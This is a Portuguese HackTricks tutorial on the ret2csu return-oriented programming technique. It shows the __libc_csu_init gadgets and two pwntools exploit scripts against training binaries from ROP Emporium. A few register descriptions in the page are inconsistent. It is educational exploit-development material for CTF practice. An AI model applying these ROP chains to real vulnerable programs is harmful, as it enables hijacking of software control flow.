Ret2csu
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
https://www.scs.stanford.edu/brop/bittau-brop.pdfInformaçÔes Båsicas
ret2csu Ă© uma tĂ©cnica de hacking usada quando vocĂȘ estĂĄ tentando assumir o controle de um programa, mas nĂŁo consegue encontrar os gadgets que normalmente usa para manipular o comportamento do programa.
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funçÔes integradas para gerenciar como diferentes partes do programa se comunicam. Entre essas funçÔes, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada __libc_csu_init
.
Os Gadgets MĂĄgicos em __libc_csu_init
Em __libc_csu_init
, hĂĄ duas sequĂȘncias de instruçÔes (gadgets) a serem destacadas:
- A primeira sequĂȘncia nos permite configurar valores em vĂĄrios registradores (rbx, rbp, r12, r13, r14, r15). Estes sĂŁo como slots onde podemos armazenar nĂșmeros ou endereços que queremos usar mais tarde.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
- A segunda sequĂȘncia usa os valores que configuramos para fazer algumas coisas:
- Mover valores especĂficos para outros registradores, tornando-os prontos para usarmos como parĂąmetros em funçÔes.
- Realizar uma chamada para um local determinado pela soma dos valores em r15 e rbx, e entĂŁo multiplicando rbx por 8.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Talvez vocĂȘ nĂŁo conheça nenhum endereço para escrever lĂĄ e vocĂȘ precisa de uma instrução
ret
. Note que o segundo gadget também terminarå em umret
, mas vocĂȘ precisarĂĄ atender a algumas condiçÔes para alcançå-lo:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
As condiçÔes serão:
[r12 + rbx*8]
deve apontar para um endereço que armazena uma função chamĂĄvel (se nĂŁo houver ideia e sem pie, vocĂȘ pode apenas usar a função_init
):- Se _init estiver em
0x400560
, use o GEF para procurar um ponteiro na memória para ele e faça com que[r12 + rbx*8]
seja o endereço com o ponteiro para _init:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef†search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 â "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 â "\x60\x05\x40[...]"
rbp
erbx
devem ter o mesmo valor para evitar o salto- Existem alguns pops omitidos que vocĂȘ precisa levar em conta
RDI e RSI
Outra maneira de controlar rdi
e rsi
a partir do gadget ret2csu Ă© acessando offsets especĂficos:
 (1) (1) (1) (1) (1) (1) (1).png)
Verifique esta pågina para mais informaçÔes:
BROP - Blind Return Oriented Programming
Exemplo
Usando a chamada
Imagine que vocĂȘ deseja fazer uma syscall ou chamar uma função como write()
, mas precisa de valores especĂficos nos registradores rdx
e rsi
como parĂąmetros. Normalmente, vocĂȘ procuraria gadgets que definem esses registradores diretamente, mas nĂŁo consegue encontrar nenhum.
Ă aqui que o ret2csu entra em cena:
- Configurar os Registradores: Use o primeiro gadget mĂĄgico para retirar valores da pilha e colocĂĄ-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
- Usar o Segundo Gadget: Com esses registradores configurados, vocĂȘ usa o segundo gadget. Isso permite que vocĂȘ mova os valores escolhidos para
rdx
ersi
(de r14 e r13, respectivamente), preparando os parùmetros para uma chamada de função. Além disso, ao controlarr15
erbx
, vocĂȘ pode fazer o programa chamar uma função localizada no endereço que vocĂȘ calcula e coloca em[r15 + rbx*8]
.
VocĂȘ tem um exemplo usando esta tĂ©cnica e explicando aqui, e este Ă© o exploit final que usou:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
Note que o exploit anterior nĂŁo Ă© destinado a fazer um RCE
, ele é destinado apenas a chamar uma função chamada win
(pegando o endereço de win
da entrada padrĂŁo chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor 0xdeadbeefcafed00d
.
Ignorando a chamada e alcançando o ret
O seguinte exploit foi extraĂdo desta pĂĄgina onde o ret2csu Ă© usado, mas em vez de usar a chamada, ele estĂĄ ignorando as comparaçÔes e alcançando o ret
apĂłs a chamada:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Por Que NĂŁo Usar libc Diretamente?
Geralmente, esses casos tambĂ©m sĂŁo vulnerĂĄveis a ret2plt + ret2lib, mas Ă s vezes vocĂȘ precisa controlar mais parĂąmetros do que os que podem ser facilmente controlados com os gadgets que vocĂȘ encontra diretamente no libc. Por exemplo, a função write()
requer trĂȘs parĂąmetros, e encontrar gadgets para definir todos esses diretamente pode nĂŁo ser possĂvel.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.